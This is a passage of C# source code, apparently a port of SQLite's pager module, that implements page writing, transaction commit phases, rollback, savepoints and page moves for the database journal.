SQLITE_OK. ** ** The difference between this function and pager_write() is that this ** function also deals with the special case where 2 or more pages ** fit on a single disk sector. In this case all co-resident pages ** must have been written to the journal file before returning. ** ** If an error occurs, SQLITE_NOMEM or an IO error code is returned ** as appropriate. Otherwise, SQLITE_OK. */ static int sqlite3PagerWrite(DbPage pDbPage) { int rc = SQLITE_OK; PgHdr pPg = pDbPage; Pager pPager = pPg.pPager; u32 nPagePerSector = (u32)(pPager.sectorSize / pPager.pageSize); if (nPagePerSector > 1) { int nPageCount = 0; /* Total number of pages in database file */ u32 pg1; /* First page of the sector pPg is located on. */ u32 nPage; /* Number of pages starting at pg1 to journal */ int ii; /* Loop counter */ bool needSync = false; /* True if any page has PGHDR_NEED_SYNC */ /* Set the doNotSync flag to 1. This is because we cannot allow a journal ** header to be written between the pages journaled by this function. */ Debug.Assert( #if SQLITE_OMIT_MEMORYDB 0==MEMDB #else 0 == pPager.memDb #endif ); Debug.Assert(!pPager.doNotSync); pPager.doNotSync = true; /* This trick assumes that both the page-size and sector-size are ** an integer power of 2. It sets variable pg1 to the identifier ** of the first page of the sector pPg is located on. */ pg1 = (u32)((pPg.pgno - 1) & ~(nPagePerSector - 1)) + 1; sqlite3PagerPagecount(pPager, ref nPageCount); if (pPg.pgno > nPageCount) { nPage = (u32)(pPg.pgno - pg1) + 1; } else if ((pg1 + nPagePerSector - 1) > nPageCount) { nPage = (u32)(nPageCount + 1 - pg1); } else { nPage = nPagePerSector; } Debug.Assert(nPage > 0); Debug.Assert(pg1 <= pPg.pgno); Debug.Assert((pg1 + nPage) > pPg.pgno); for (ii = 0; ii < nPage && rc == SQLITE_OK; ii++) { u32 pg = (u32)(pg1 + ii); PgHdr pPage = new PgHdr(); if (pg == pPg.pgno || sqlite3BitvecTest(pPager.pInJournal, pg) == 0) { if (pg != ((PENDING_BYTE / (pPager.pageSize)) + 1)) //PAGER_MJ_PGNO(pPager)) { rc = sqlite3PagerGet(pPager, pg, ref pPage); if (rc == SQLITE_OK) { rc = pager_write(pPage); if ((pPage.flags & PGHDR_NEED_SYNC) != 0) { needSync = true; Debug.Assert(pPager.needSync); } sqlite3PagerUnref(pPage); } } } else if ((pPage = pager_lookup(pPager, pg)) != null) { if ((pPage.flags & PGHDR_NEED_SYNC) != 0) { needSync = true; } sqlite3PagerUnref(pPage); } } /* If the PGHDR_NEED_SYNC flag is set for any of the nPage pages ** starting at pg1, then it needs to be set for all of them. Because ** writing to any of these nPage pages may damage the others, the ** journal file must contain sync()ed copies of all of them ** before any of them can be written out to the database file. */ if (rc == SQLITE_OK && needSync) { Debug.Assert( #if SQLITE_OMIT_MEMORYDB 0==MEMDB #else 0 == pPager.memDb #endif && pPager.noSync == false); for (ii = 0; ii < nPage; ii++) { PgHdr pPage = pager_lookup(pPager, (u32)(pg1 + ii)); if (pPage != null) { pPage.flags |= PGHDR_NEED_SYNC; sqlite3PagerUnref(pPage); } } Debug.Assert(pPager.needSync); } Debug.Assert(pPager.doNotSync); pPager.doNotSync = false; } else { rc = pager_write(pDbPage); } return rc; } /* ** Return TRUE if the page given in the argument was previously passed ** to sqlite3PagerWrite(). In other words, return TRUE if it is ok ** to change the content of the page. */ #if !NDEBUG static bool sqlite3PagerIswriteable( DbPage pPg ) { return ( pPg.flags & PGHDR_DIRTY ) != 0; } #else static bool sqlite3PagerIswriteable(DbPage pPg) { return true; } #endif /* ** A call to this routine tells the pager that it is not necessary to ** write the information on page pPg back to the disk, even though ** that page might be marked as dirty. This happens, for example, when ** the page has been added as a leaf of the freelist and so its ** content no longer matters. ** ** The overlying software layer calls this routine when all of the data ** on the given page is unused. The pager marks the page as clean so ** that it does not get written to disk. ** ** Tests show that this optimization can quadruple the speed of large ** DELETE operations. */ static void sqlite3PagerDontWrite(PgHdr pPg) { Pager pPager = pPg.pPager; if ((pPg.flags & PGHDR_DIRTY) != 0 && pPager.nSavepoint == 0) { PAGERTRACE("DONT_WRITE page %d of %d\n", pPg.pgno, PAGERID(pPager)); IOTRACE("CLEAN %p %d\n", pPager, pPg.pgno); pPg.flags |= PGHDR_DONT_WRITE; #if SQLITE_CHECK_PAGES pPg.pageHash = pager_pagehash(pPg); #endif } } /* ** This routine is called to increment the value of the database file ** change-counter, stored as a 4-byte big-endian integer starting at ** byte offset 24 of the pager file. ** ** If the isDirectMode flag is zero, then this is done by calling ** sqlite3PagerWrite() on page 1, then modifying the contents of the ** page data. In this case the file will be updated when the current ** transaction is committed. ** ** The isDirectMode flag may only be non-zero if the library was compiled ** with the SQLITE_ENABLE_ATOMIC_WRITE macro defined. In this case, ** if isDirect is non-zero, then the database file is updated directly ** by writing an updated version of page 1 using a call to the ** sqlite3OsWrite() function. */ static int pager_incr_changecounter(Pager pPager, bool isDirectMode) { int rc = SQLITE_OK; /* Declare and initialize constant integer 'isDirect'. If the ** atomic-write optimization is enabled in this build, then isDirect ** is initialized to the value passed as the isDirectMode parameter ** to this function. Otherwise, it is always set to zero. ** ** The idea is that if the atomic-write optimization is not ** enabled at compile time, the compiler can omit the tests of ** 'isDirect' below, as well as the block enclosed in the ** "if( isDirect )" condition. */ #if !SQLITE_ENABLE_ATOMIC_WRITE //# define DIRECT_MODE 0 bool DIRECT_MODE = false; Debug.Assert(isDirectMode == false); UNUSED_PARAMETER(isDirectMode); #else //# define DIRECT_MODE isDirectMode int DIRECT_MODE = isDirectMode; #endif Debug.Assert(pPager.state >= PAGER_RESERVED); if (!pPager.changeCountDone && ALWAYS(pPager.dbSize > 0)) { PgHdr pPgHdr = null; /* Reference to page 1 */ u32 change_counter; /* Initial value of change-counter field */ Debug.Assert(!pPager.tempFile && isOpen(pPager.fd)); /* Open page 1 of the file for writing. */ rc = sqlite3PagerGet(pPager, 1, ref pPgHdr); Debug.Assert(pPgHdr == null || rc == SQLITE_OK); /* If page one was fetched successfully, and this function is not ** operating in direct-mode, make page 1 writable. When not in ** direct mode, page 1 is always held in cache and hence the PagerGet() ** above is always successful - hence the ALWAYS on rc==SQLITE_OK. */ if (!DIRECT_MODE && ALWAYS(rc == SQLITE_OK)) { rc = sqlite3PagerWrite(pPgHdr); } if (rc == SQLITE_OK) { /* Increment the value just read and write it back to byte 24. */ change_counter = sqlite3Get4byte(pPager.dbFileVers); change_counter++; put32bits(pPgHdr.pData, 24, change_counter); /* If running in direct mode, write the contents of page 1 to the file. */ if (DIRECT_MODE) { u8[] zBuf = pPgHdr.pData; Debug.Assert(pPager.dbFileSize > 0); rc = sqlite3OsWrite(pPager.fd, zBuf, pPager.pageSize, 0); if (rc == SQLITE_OK) { pPager.changeCountDone = true; } } else { pPager.changeCountDone = true; } } /* Release the page reference. */ sqlite3PagerUnref(pPgHdr); } return rc; } /* ** Sync the pager file to disk. This is a no-op for in-memory files ** or pages with the Pager.noSync flag set. ** ** If successful, or called on a pager for which it is a no-op, this ** function returns SQLITE_OK. Otherwise, an IO error code is returned. */ static int sqlite3PagerSync(Pager pPager) { int rc; /* Return code */ Debug.Assert( #if SQLITE_OMIT_MEMORYDB 0 == MEMDB #else 0 == pPager.memDb #endif ); if (pPager.noSync) { rc = SQLITE_OK; } else { rc = sqlite3OsSync(pPager.fd, pPager.sync_flags); } return rc; } /* ** Sync the database file for the pager pPager. zMaster points to the name ** of a master journal file that should be written into the individual ** journal file. zMaster may be NULL, which is interpreted as no master ** journal (a single database transaction). ** ** This routine ensures that: ** ** * The database file change-counter is updated, ** * the journal is synced (unless the atomic-write optimization is used), ** * all dirty pages are written to the database file, ** * the database file is truncated (if required), and ** * the database file synced. ** ** The only thing that remains to commit the transaction is to finalize ** (delete, truncate or zero the first part of) the journal file (or ** delete the master journal file if specified). ** ** Note that if zMaster==NULL, this does not overwrite a previous value ** passed to an sqlite3PagerCommitPhaseOne() call. ** ** If the final parameter - noSync - is true, then the database file itself ** is not synced. The caller must call sqlite3PagerSync() directly to ** sync the database file before calling CommitPhaseTwo() to delete the ** journal file in this case. */ static int sqlite3PagerCommitPhaseOne( Pager pPager, /* Pager object */ string zMaster, /* If not NULL, the master journal name */ bool noSync /* True to omit the xSync on the db file */ ) { int rc = SQLITE_OK; /* Return code */ /* The dbOrigSize is never set if journal_mode=OFF */ Debug.Assert(pPager.journalMode != PAGER_JOURNALMODE_OFF || pPager.dbOrigSize == 0); /* If a prior error occurred, this routine should not be called. ROLLBACK ** is the appropriate response to an error, not COMMIT. Guard against ** coding errors by repeating the prior error. */ if (NEVER(pPager.errCode) != 0) return pPager.errCode; PAGERTRACE("DATABASE SYNC: File=%s zMaster=%s nSize=%d\n", pPager.zFilename, zMaster, pPager.dbSize); if ( #if SQLITE_OMIT_MEMORYDB 0 != MEMDB #else 0 != pPager.memDb #endif && pPager.dbModified) { /* If this is an in-memory db, or no pages have been written to, or this ** function has already been called, it is mostly a no-op. However, any ** backup in progress needs to be restarted. */ sqlite3BackupRestart(pPager.pBackup); } else if (pPager.state != PAGER_SYNCED && pPager.dbModified) { /* The following block updates the change-counter. Exactly how it ** does this depends on whether or not the atomic-update optimization ** was enabled at compile time, and if this transaction meets the ** runtime criteria to use the operation: ** ** * The file-system supports the atomic-write property for ** blocks of size page-size, and ** * This commit is not part of a multi-file transaction, and ** * Exactly one page has been modified and store in the journal file. ** ** If the optimization was not enabled at compile time, then the ** pager_incr_changecounter() function is called to update the change ** counter in 'indirect-mode'. If the optimization is compiled in but ** is not applicable to this transaction, call sqlite3JournalCreate() ** to make sure the journal file has actually been created, then call ** pager_incr_changecounter() to update the change-counter in indirect ** mode. ** ** Otherwise, if the optimization is both enabled and applicable, ** then call pager_incr_changecounter() to update the change-counter ** in 'direct' mode. In this case the journal file will never be ** created for this transaction. */ #if SQLITE_ENABLE_ATOMIC_WRITE PgHdr *pPg; Debug.Assert( isOpen(pPager.jfd) || pPager.journalMode==PAGER_JOURNALMODE_OFF ); if( !zMaster && isOpen(pPager.jfd) && pPager.journalOff==jrnlBufferSize(pPager) && pPager.dbSize>=pPager.dbFileSize && (0==(pPg = sqlite3PcacheDirtyList(pPager.pPCache)) || 0==pPg.pDirty) ){ /* Update the db file change counter via the direct-write method. The ** following call will modify the in-memory representation of page 1 ** to include the updated change counter and then write page 1 ** directly to the database file. Because of the atomic-write ** property of the host file-system, this is safe. */ rc = pager_incr_changecounter(pPager, 1); }else{ rc = sqlite3JournalCreate(pPager.jfd); if( rc==SQLITE_OK ){ rc = pager_incr_changecounter(pPager, 0); } } #else rc = pager_incr_changecounter(pPager, false); #endif if (rc != SQLITE_OK) goto commit_phase_one_exit; /* If this transaction has made the database smaller, then all pages ** being discarded by the truncation must be written to the journal ** file. This can only happen in auto-vacuum mode. ** ** Before reading the pages with page numbers larger than the ** current value of Pager.dbSize, set dbSize back to the value ** that it took at the start of the transaction. Otherwise, the ** calls to sqlite3PagerGet() return zeroed pages instead of ** reading data from the database file. ** ** When journal_mode==OFF the dbOrigSize is always zero, so this ** block never runs if journal_mode=OFF. */ #if !SQLITE_OMIT_AUTOVACUUM if (pPager.dbSize < pPager.dbOrigSize && ALWAYS(pPager.journalMode != PAGER_JOURNALMODE_OFF) ) { Pgno i; /* Iterator variable */ Pgno iSkip = PAGER_MJ_PGNO(pPager); /* Pending lock page */ Pgno dbSize = pPager.dbSize; /* Database image size */ pPager.dbSize = pPager.dbOrigSize; for (i = dbSize + 1; i <= pPager.dbOrigSize; i++) { if (0 == sqlite3BitvecTest(pPager.pInJournal, i) && i != iSkip) { PgHdr pPage = null; /* Page to journal */ rc = sqlite3PagerGet(pPager, i, ref pPage); if (rc != SQLITE_OK) goto commit_phase_one_exit; rc = sqlite3PagerWrite(pPage); sqlite3PagerUnref(pPage); if (rc != SQLITE_OK) goto commit_phase_one_exit; } } pPager.dbSize = dbSize; } #endif /* Write the master journal name into the journal file. If a master ** journal file name has already been written to the journal file, ** or if zMaster is NULL (no master journal), then this call is a no-op. */ rc = writeMasterJournal(pPager, zMaster); if (rc != SQLITE_OK) goto commit_phase_one_exit; /* Sync the journal file. If the atomic-update optimization is being ** used, this call will not create the journal file or perform any ** real IO. */ rc = syncJournal(pPager); if (rc != SQLITE_OK) goto commit_phase_one_exit; /* Write all dirty pages to the database file. */ rc = pager_write_pagelist(sqlite3PcacheDirtyList(pPager.pPCache)); if (rc != SQLITE_OK) { Debug.Assert(rc != SQLITE_IOERR_BLOCKED); goto commit_phase_one_exit; } sqlite3PcacheCleanAll(pPager.pPCache); /* If the file on disk is not the same size as the database image, ** then use pager_truncate to grow or shrink the file here. */ if (pPager.dbSize != pPager.dbFileSize) { Pgno nNew = (Pgno)(pPager.dbSize - (pPager.dbSize == PAGER_MJ_PGNO(pPager) ? 1 : 0)); Debug.Assert(pPager.state >= PAGER_EXCLUSIVE); rc = pager_truncate(pPager, nNew); if (rc != SQLITE_OK) goto commit_phase_one_exit; } /* Finally, sync the database file. */ if (!pPager.noSync && !noSync) { rc = sqlite3OsSync(pPager.fd, pPager.sync_flags); } IOTRACE("DBSYNC %p\n", pPager); pPager.state = PAGER_SYNCED; } commit_phase_one_exit: return rc; } /* ** When this function is called, the database file has been completely ** updated to reflect the changes made by the current transaction and ** synced to disk. The journal file still exists in the file-system ** though, and if a failure occurs at this point it will eventually ** be used as a hot-journal and the current transaction rolled back. ** ** This function finalizes the journal file, either by deleting, ** truncating or partially zeroing it, so that it cannot be used ** for hot-journal rollback. Once this is done the transaction is ** irrevocably committed. ** ** If an error occurs, an IO error code is returned and the pager ** moves into the error state. Otherwise, SQLITE_OK is returned. */ static int sqlite3PagerCommitPhaseTwo(Pager pPager) { int rc = SQLITE_OK; /* Return code */ /* This routine should not be called if a prior error has occurred. ** But if (due to a coding error elsewhere in the system) it does get ** called, just return the same error code without doing anything. */ if (NEVER(pPager.errCode) != 0) return pPager.errCode; /* This function should not be called if the pager is not in at least ** PAGER_RESERVED state. And indeed SQLite never does this. But it is ** nice to have this defensive test here anyway. */ if (NEVER(pPager.state < PAGER_RESERVED)) return SQLITE_ERROR; /* An optimization. If the database was not actually modified during ** this transaction, the pager is running in exclusive-mode and is ** using persistent journals, then this function is a no-op. ** ** The start of the journal file currently contains a single journal ** header with the nRec field set to 0. If such a journal is used as ** a hot-journal during hot-journal rollback, 0 changes will be made ** to the database file. So there is no need to zero the journal ** header. Since the pager is in exclusive mode, there is no need ** to drop any locks either. */ if (pPager.dbModified == false && pPager.exclusiveMode && pPager.journalMode == PAGER_JOURNALMODE_PERSIST ) { Debug.Assert(pPager.journalOff == JOURNAL_HDR_SZ(pPager)); return SQLITE_OK; } PAGERTRACE("COMMIT %d\n", PAGERID(pPager)); Debug.Assert(pPager.state == PAGER_SYNCED || #if SQLITE_OMIT_MEMORYDB 1 == MEMDB #else 1 == pPager.memDb #endif || !pPager.dbModified); rc = pager_end_transaction(pPager, pPager.setMaster); return pager_error(pPager, rc); } /* ** Rollback all changes. The database falls back to PAGER_SHARED mode. ** ** This function performs two tasks: ** ** 1) It rolls back the journal file, restoring all database file and ** in-memory cache pages to the state they were in when the transaction ** was opened, and ** 2) It finalizes the journal file, so that it is not used for hot ** rollback at any point in the future. ** ** subject to the following qualifications: ** ** * If the journal file is not yet open when this function is called, ** then only (2) is performed. In this case there is no journal file ** to roll back. ** ** * If in an error state other than SQLITE_FULL, then task (1) is ** performed. If successful, task (2). Regardless of the outcome ** of either, the error state error code is returned to the caller ** (i.e. either SQLITE_IOERR or SQLITE_CORRUPT). ** ** * If the pager is in PAGER_RESERVED state, then attempt (1). Whether ** or not (1) is succussful, also attempt (2). If successful, return ** SQLITE_OK. Otherwise, enter the error state and return the first ** error code encountered. ** ** In this case there is no chance that the database was written to. ** So is safe to finalize the journal file even if the playback ** (operation 1) failed. However the pager must enter the error state ** as the contents of the in-memory cache are now suspect. ** ** * Finally, if in PAGER_EXCLUSIVE state, then attempt (1). Only ** attempt (2) if (1) is successful. Return SQLITE_OK if successful, ** otherwise enter the error state and return the error code from the ** failing operation. ** ** In this case the database file may have been written to. So if the ** playback operation did not succeed it would not be safe to finalize ** the journal file. It needs to be left in the file-system so that ** some other process can use it to restore the database state (by ** hot-journal rollback). */ static int sqlite3PagerRollback(Pager pPager) { int rc = SQLITE_OK; /* Return code */ PAGERTRACE("ROLLBACK %d\n", PAGERID(pPager)); if (!pPager.dbModified || !isOpen(pPager.jfd)) { rc = pager_end_transaction(pPager, pPager.setMaster); } else if (pPager.errCode != 0 && pPager.errCode != SQLITE_FULL) { if (pPager.state >= PAGER_EXCLUSIVE) { pager_playback(pPager, 0); } rc = pPager.errCode; } else { if (pPager.state == PAGER_RESERVED) { int rc2; rc = pager_playback(pPager, 0); rc2 = pager_end_transaction(pPager, pPager.setMaster); if (rc == SQLITE_OK) { rc = rc2; } } else { rc = pager_playback(pPager, 0); } if ( #if SQLITE_OMIT_MEMORYDB 0==MEMDB #else 0 == pPager.memDb #endif ) { pPager.dbSizeValid = false; } /* If an error occurs during a ROLLBACK, we can no longer trust the pager ** cache. So call pager_error() on the way out to make any error ** persistent. */ rc = pager_error(pPager, rc); } return rc; } /* ** Return TRUE if the database file is opened read-only. Return FALSE ** if the database is (in theory) writable. */ static bool sqlite3PagerIsreadonly(Pager pPager) { return pPager.readOnly; } /* ** Return the number of references to the pager. */ static int sqlite3PagerRefcount(Pager pPager) { return sqlite3PcacheRefCount(pPager.pPCache); } /* ** Return the number of references to the specified page. */ static int sqlite3PagerPageRefcount(DbPage pPage) { return sqlite3PcachePageRefcount(pPage); } #if SQLITE_TEST /* ** This routine is used for testing and analysis only. */ static int[] sqlite3PagerStats( Pager pPager ) { int[] a = new int[11]; a[0] = sqlite3PcacheRefCount( pPager.pPCache ); a[1] = sqlite3PcachePagecount( pPager.pPCache ); a[2] = sqlite3PcacheGetCachesize( pPager.pPCache ); a[3] = pPager.dbSizeValid ? (int)pPager.dbSize : -1; a[4] = pPager.state; a[5] = pPager.errCode; a[6] = pPager.nHit; a[7] = pPager.nMiss; a[8] = 0; /* Used to be pPager.nOvfl */ a[9] = pPager.nRead; a[10] = pPager.nWrite; return a; } #endif /* ** Return true if this is an in-memory pager. */ static bool sqlite3PagerIsMemdb(Pager pPager) { #if SQLITE_OMIT_MEMORYDB return MEMDB != 0; #else return pPager.memDb != 0; #endif } /* ** Check that there are at least nSavepoint savepoints open. If there are ** currently less than nSavepoints open, then open one or more savepoints ** to make up the difference. If the number of savepoints is already ** equal to nSavepoint, then this function is a no-op. ** ** If a memory allocation fails, SQLITE_NOMEM is returned. If an error ** occurs while opening the sub-journal file, then an IO error code is ** returned. Otherwise, SQLITE_OK. */ static int sqlite3PagerOpenSavepoint(Pager pPager, int nSavepoint) { int rc = SQLITE_OK; /* Return code */ int nCurrent = pPager.nSavepoint; /* Current number of savepoints */ if (nSavepoint > nCurrent && pPager.useJournal != 0) { int ii; /* Iterator variable */ PagerSavepoint[] aNew; /* New Pager.aSavepoint array */ /* Either there is no active journal or the sub-journal is open or ** the journal is always stored in memory */ Debug.Assert(pPager.nSavepoint == 0 || isOpen(pPager.sjfd) || pPager.journalMode == PAGER_JOURNALMODE_MEMORY); /* Grow the Pager.aSavepoint array using realloc(). Return SQLITE_NOMEM ** if the allocation fails. Otherwise, zero the new portion in case a ** malloc failure occurs while populating it in the for(...) loop below. */ //aNew = (PagerSavepoint *)sqlite3Realloc( // pPager->aSavepoint, sizeof(PagerSavepoint)*nSavepoint //); Array.Resize(ref pPager.aSavepoint, nSavepoint); aNew = pPager.aSavepoint; //if( null==aNew ){ // return SQLITE_NOMEM; //} // memset(&aNew[nCurrent], 0, (nSavepoint-nCurrent) * sizeof(PagerSavepoint)); // pPager.aSavepoint = aNew; pPager.nSavepoint = nSavepoint; /* Populate the PagerSavepoint structures just allocated. */ for (ii = nCurrent; ii < nSavepoint; ii++) { Debug.Assert(pPager.dbSizeValid); aNew[ii] = new PagerSavepoint(); aNew[ii].nOrig = pPager.dbSize; if (isOpen(pPager.jfd) && ALWAYS(pPager.journalOff > 0)) { aNew[ii].iOffset = pPager.journalOff; } else { aNew[ii].iOffset = (int)JOURNAL_HDR_SZ(pPager); } aNew[ii].iSubRec = pPager.nSubRec; aNew[ii].pInSavepoint = sqlite3BitvecCreate(pPager.dbSize); if (null == aNew[ii].pInSavepoint) { return SQLITE_NOMEM; } } /* Open the sub-journal, if it is not already opened. */ rc = openSubJournal(pPager); assertTruncateConstraint(pPager); } return rc; } /* ** This function is called to rollback or release (commit) a savepoint. ** The savepoint to release or rollback need not be the most recently ** created savepoint. ** ** Parameter op is always either SAVEPOINT_ROLLBACK or SAVEPOINT_RELEASE. ** If it is SAVEPOINT_RELEASE, then release and destroy the savepoint with ** index iSavepoint. If it is SAVEPOINT_ROLLBACK, then rollback all changes ** that have occurred since the specified savepoint was created. ** ** The savepoint to rollback or release is identified by parameter ** iSavepoint. A value of 0 means to operate on the outermost savepoint ** (the first created). A value of (Pager.nSavepoint-1) means operate ** on the most recently created savepoint. If iSavepoint is greater than ** (Pager.nSavepoint-1), then this function is a no-op. ** ** If a negative value is passed to this function, then the current ** transaction is rolled back. This is different to calling ** sqlite3PagerRollback() because this function does not terminate ** the transaction or unlock the database, it just restores the ** contents of the database to its original state. ** ** In any case, all savepoints with an index greater than iSavepoint ** are destroyed. If this is a release operation (op==SAVEPOINT_RELEASE), ** then savepoint iSavepoint is also destroyed. ** ** This function may return SQLITE_NOMEM if a memory allocation fails, ** or an IO error code if an IO error occurs while rolling back a ** savepoint. If no errors occur, SQLITE_OK is returned. */ static int sqlite3PagerSavepoint(Pager pPager, int op, int iSavepoint) { int rc = SQLITE_OK; Debug.Assert(op == SAVEPOINT_RELEASE || op == SAVEPOINT_ROLLBACK); Debug.Assert(iSavepoint >= 0 || op == SAVEPOINT_ROLLBACK); if (iSavepoint < pPager.nSavepoint) { int ii; /* Iterator variable */ int nNew; /* Number of remaining savepoints after this op. */ /* Figure out how many savepoints will still be active after this ** operation. Store this value in nNew. Then free resources associated ** with any savepoints that are destroyed by this operation. */ nNew = iSavepoint + ((op == SAVEPOINT_ROLLBACK) ? 1 : 0); for (ii = nNew; ii < pPager.nSavepoint; ii++) { sqlite3BitvecDestroy(ref pPager.aSavepoint[ii].pInSavepoint); } pPager.nSavepoint = nNew; /* If this is a rollback operation, playback the specified savepoint. ** If this is a temp-file, it is possible that the journal file has ** not yet been opened. In this case there have been no changes to ** the database file, so the playback operation can be skipped. */ if (op == SAVEPOINT_ROLLBACK && isOpen(pPager.jfd)) { PagerSavepoint pSavepoint = (nNew == 0) ? null : pPager.aSavepoint[nNew - 1]; rc = pagerPlaybackSavepoint(pPager, pSavepoint); Debug.Assert(rc != SQLITE_DONE); } /* If this is a release of the outermost savepoint, truncate ** the sub-journal to zero bytes in size. */ if (nNew == 0 && op == SAVEPOINT_RELEASE && isOpen(pPager.sjfd)) { Debug.Assert(rc == SQLITE_OK); rc = sqlite3OsTruncate(pPager.sjfd, 0); pPager.nSubRec = 0; } } return rc; } /* ** Return the full pathname of the database file. */ static string sqlite3PagerFilename(Pager pPager) { return pPager.zFilename; } /* ** Return the VFS structure for the pager. */ static sqlite3_vfs sqlite3PagerVfs(Pager pPager) { return pPager.pVfs; } /* ** Return the file handle for the database file associated ** with the pager. This might return NULL if the file has ** not yet been opened. */ static sqlite3_file sqlite3PagerFile(Pager pPager) { return pPager.fd; } /* ** Return the full pathname of the journal file. */ static string sqlite3PagerJournalname(Pager pPager) { return pPager.zJournal; } /* ** Return true if fsync() calls are disabled for this pager. Return FALSE ** if fsync()s are executed normally. */ static bool sqlite3PagerNosync(Pager pPager) { return pPager.noSync; } #if SQLITE_HAS_CODEC /* ** Set or retrieve the codec for this pager */ static void sqlite3PagerSetCodec( Pager *pPager, void *(*xCodec)(void*,void*,Pgno,int), void (*xCodecSizeChng)(void*,int,int), void (*xCodecFree)(void*), void *pCodec ){ if( pPager->xCodecFree ) pPager->xCodecFree(pPager->pCodec); pPager->xCodec = xCodec; pPager->xCodecSizeChng = xCodecSizeChng; pPager->xCodecFree = xCodecFree; pPager->pCodec = pCodec; pagerReportSize(pPager); } static void *sqlite3PagerGetCodec(Pager *pPager){ return pPager->pCodec; } #endif #if !SQLITE_OMIT_AUTOVACUUM /* ** Move the page pPg to location pgno in the file. ** ** There must be no references to the page previously located at ** pgno (which we call pPgOld) though that page is allowed to be ** in cache. If the page previously located at pgno is not already ** in the rollback journal, it is not put there by by this routine. ** ** References to the page pPg remain valid. Updating any ** meta-data associated with pPg (i.e. data stored in the nExtra bytes ** allocated along with the page) is the responsibility of the caller. ** ** A transaction must be active when this routine is called. It used to be ** required that a statement transaction was not active, but this restriction ** has been removed (CREATE INDEX needs to move a page when a statement ** transaction is active). ** ** If the fourth argument, isCommit, is non-zero, then this page is being ** moved as part of a database reorganization just before the transaction ** is being committed. In this case, it is guaranteed that the database page ** pPg refers to will not be written to again within this transaction. ** ** This function may return SQLITE_NOMEM or an IO error code if an error ** occurs. Otherwise, it returns SQLITE_OK. */ static int sqlite3PagerMovepage(Pager pPager, DbPage pPg, u32 pgno, int isCommit) { PgHdr pPgOld; /* The page being overwritten. */ u32 needSyncPgno = 0; /* Old value of pPg.pgno, if sync is required */ int rc; /* Return code */ Pgno origPgno; /* The original page number */ Debug.Assert(pPg.nRef > 0); /* If the page being moved is dirty and has not been saved by the latest ** savepoint, then save the current contents of the page into the ** sub-journal now. This is required to handle the following scenario: ** ** BEGIN; ** ** SAVEPOINT one; ** ** ROLLBACK TO one; ** ** If page X were not written to the sub-journal here, it would not ** be possible to restore its contents when the "ROLLBACK TO one" ** statement were is processed. ** ** subjournalPage() may need to allocate space to store pPg.pgno into ** one or more savepoint bitvecs. This is the reason this function ** may return SQLITE_NOMEM. */ if ((pPg.flags & PGHDR_DIRTY) != 0 && subjRequiresPage(pPg) && SQLITE_OK != (rc = subjournalPage(pPg)) ) { return rc; } PAGERTRACE("MOVE %d page %d (needSync=%d) moves to %d\n", PAGERID(pPager), pPg.pgno, (pPg.flags & PGHDR_NEED_SYNC) != 0 ? 1 : 0, pgno); IOTRACE("MOVE %p %d %d\n", pPager, pPg.pgno, pgno); /* If the journal needs to be sync()ed before page pPg.pgno can ** be written to, store pPg.pgno in local variable needSyncPgno. ** ** If the isCommit flag is set, there is no need to remember that ** the journal needs to be sync()ed before database page pPg.pgno ** can be written to. The caller has already promised not to write to it. */ if (((pPg.flags & PGHDR_NEED_SYNC) != 0) && 0 == isCommit) { needSyncPgno = pPg.pgno; Debug.Assert(pageInJournal(pPg) || pPg.pgno > pPager.dbOrigSize); Debug.Assert((pPg.flags & PGHDR_DIRTY) != 0); Debug.Assert(pPager.needSync); } /* If the cache contains a page with page-number pgno, remove it ** from its hash chain. Also, if the PgHdr.needSync was set for ** page pgno before the 'move' operation, it needs to be retained ** for the page moved there. */ pPg.flags &= ~PGHDR_NEED_SYNC; pPgOld = pager_lookup(pPager, pgno); Debug.Assert(null == pPgOld || pPgOld.nRef == 1); if (pPgOld != null) { pPg.flags |= (pPgOld.flags & PGHDR_NEED_SYNC); sqlite3PcacheDrop(pPgOld); } origPgno = pPg.pgno; sqlite3PcacheMove(pPg, pgno); sqlite3PcacheMakeDirty(pPg); pPager.dbModified = true; if (needSyncPgno != 0) { /* If needSyncPgno is non-zero, then the journal file needs to be ** sync()ed before any data is written to database file page needSyncPgno. ** Currently, no such page exists in the page-cache and the ** "is journaled" bitvec flag has been set. This needs to be remedied by ** loading the page into the pager-cache and setting the PgHdr.needSync ** flag. ** ** If the attempt to load the page into the page-cache fails, (due ** to a malloc() or IO failure), clear the bit in the pInJournal[] ** array. Otherwise, if the page is loaded and written again in ** this transaction, it may be written to the database file before ** it is synced into the journal file. This way, it may end up in ** the journal file twice, but that is not a problem. ** ** The sqlite3PagerGet() call may cause the journal to sync. So make ** sure the Pager.needSync flag is set too. */ PgHdr pPgHdr = null; Debug.Assert(pPager.needSync); rc = sqlite3PagerGet(pPager, needSyncPgno, ref pPgHdr); if (rc != SQLITE_OK) { if (needSyncPgno <= pPager.dbOrigSize) { Debug.Assert(pPager.pTmpSpace != null); u32[] pTemp = new u32[pPager.pTmpSpace.Length]; sqlite3BitvecClear(pPager.pInJournal, needSyncPgno, pTemp);//pPager.pTmpSpace ); } return rc; } pPager.needSync = true; Debug.Assert(pPager.noSync == false && #if SQLITE_OMIT_MEMORYDB 0==MEMDB #else 0 == pPager.memDb #endif ); pPgHdr.flags |= PGHDR_NEED_SYNC; sqlite3PcacheMakeDirty(pPgHdr); sqlite3PagerUnref(pPgHdr); } /* ** For an in-memory database, make sure the original page continues ** to exist, in case the transaction needs to roll back. We allocate ** the page now, instead of at rollback, because we can better deal ** with an out-of-memory error now. Ticket #3761. */ if ( #if SQLITE_OMIT_MEMORYDB MEMDB != 0 #else pPager.memDb != 0 #endif ) { DbPage pNew = null; rc = sqlite3PagerAcquire(pPager, origPgno, ref pNew, 1); if (rc != SQLITE_OK) { sqlite3PcacheMove(pPg, origPgno); return rc; } sqlite3PagerUnref(pNew); } return SQLITE_OK; } #endif /* ** Return a pointer to the data for the specified page. */ static byte[] sqlite3PagerGetData(DbPage pPg) { Debug.Assert(pPg.nRef > 0 || pPg.pPager.memDb != 0); return pPg.pData; } /* ** Return a pointer to the Pager.nExtra bytes of "extra" space ** allocated along with the specified page. */ static MemPage sqlite3PagerGetExtra(DbPage pPg) { return pPg.pExtra; } /* ** Get/set the locking-mode for this pager. Parameter eMode must be one ** of PAGER_LOCKINGMODE_QUERY, PAGER_LOCKINGMODE_NORMAL or ** PAGER_LOCKINGMODE_EXCLUSIVE. If the parameter is not _QUERY, then ** the locking-mode is set to the value specified. ** ** The returned value is either PAGER_LOCKINGMODE_NORMAL or ** PAGER_LOCKINGMODE_EXCLUSIVE, indicating the current (possibly updated) ** locking-mode. */ static bool sqlite3PagerLockingMode(Pager 